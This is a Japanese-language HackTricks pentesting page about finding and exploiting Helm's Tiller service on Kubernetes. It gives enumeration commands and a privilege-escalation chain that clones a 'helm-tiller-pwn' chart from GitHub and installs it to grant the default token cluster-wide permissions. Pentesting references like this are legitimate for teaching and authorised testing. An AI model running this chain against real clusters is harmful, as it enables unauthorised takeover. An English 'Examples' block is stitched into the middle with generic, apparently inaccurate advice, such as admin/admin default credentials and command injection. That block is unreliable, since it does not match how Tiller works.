hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2023-07-07 23:42:27 +00:00

9.6 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

HelmはKubernetesのパッケージマネージャーです。YAMLファイルをパッケージ化し、公開およびプライベートリポジトリで配布することができます。これらのパッケージはHelm Chartsと呼ばれます。Tillerは、デフォルトでポート44134で実行されるサービスです。

デフォルトポート: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

列挙

異なる名前空間のポッドと/またはサービスを列挙できる場合は、それらを列挙し、「tiller」という名前を持つものを検索します。

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Examples:

Enumeration

Discovering Tiller

Tiller is the server-side component of Helm, a package manager for Kubernetes. To find the Tiller service, you can use the following methods:

  1. Port Scanning: Use tools like Nmap to scan for open ports on the target system. Look for port 44134, which is the default port used by Tiller.

  2. DNS Enumeration: Use tools like Dig or NSLookup to query the DNS records of the target domain. Look for any subdomains or hostnames related to Tiller, such as tiller.example.com.

  3. Web Application Scanning: If the target has a web application that interacts with Tiller, you can use web vulnerability scanners like OWASP ZAP or Burp Suite to discover any exposed Tiller endpoints.

Enumerating Tiller Endpoints

Once you have discovered the Tiller service, you can enumerate its endpoints to gather more information about its configuration and potential vulnerabilities. Here are some techniques you can use:

  1. Port Scanning: Use tools like Nmap or Masscan to scan for open ports on the Tiller service. Look for commonly used ports like 80, 443, or 8080, which may indicate additional web interfaces or APIs.

  2. Banner Grabbing: Use tools like Telnet or Netcat to connect to the Tiller service and retrieve its banner. The banner may contain valuable information about the service version or any custom configurations.

  3. HTTP Requests: Send HTTP requests to the Tiller service and analyze the responses. Look for any exposed endpoints, API documentation, or error messages that may reveal potential vulnerabilities.

Exploitation

Exploiting Tiller

Once you have identified potential vulnerabilities in the Tiller service, you can proceed with exploitation. Here are some common techniques:

  1. Default Credentials: Check if the Tiller service is using default or weak credentials. Use common username and password combinations like admin/admin or root/password to attempt unauthorized access.

  2. Command Injection: If the Tiller service allows user input, try injecting malicious commands to execute arbitrary code on the server. Look for input fields or parameters that are not properly sanitized or validated.

  3. Remote Code Execution: Exploit any known vulnerabilities in the Tiller service to execute remote code on the server. Look for public exploits or security advisories related to the specific version of Tiller you are targeting.

Remember to always obtain proper authorization before performing any exploitation activities. Unauthorized access or unauthorized use of exploits can lead to legal consequences.

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

このサービスが実行されているかどうかを確認するために、ポート44134をチェックしてみることもできます。

sudo nmap -sS -p 44134 <IP>

発見したら、クライアントhelmアプリケーションをダウンロードしてそれと通信することができます。homebrewのようなツールを使用するか、公式リリースページを参照してください。詳細や他のオプションについては、インストールガイドを参照してください。

次に、サービスを列挙することができます:

helm --host tiller-deploy.kube-system:44134 version

特権昇格

デフォルトでは、Helm2kube-system名前空間高い特権でインストールされています。したがって、サービスを見つけてアクセスできる場合、これにより特権を昇格することができます。

次のようなパッケージをインストールするだけです: https://github.com/Ruil1n/helm-tiller-pwn これにより、デフォルトのサービストークンがクラスタ全体のすべてにアクセスできるようになります。

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573には攻撃の説明がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内のclusterrole.yamlclusterrolebinding.yamlのファイルを読むと、すべての権限がデフォルトトークンに与えられていることがわかります。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥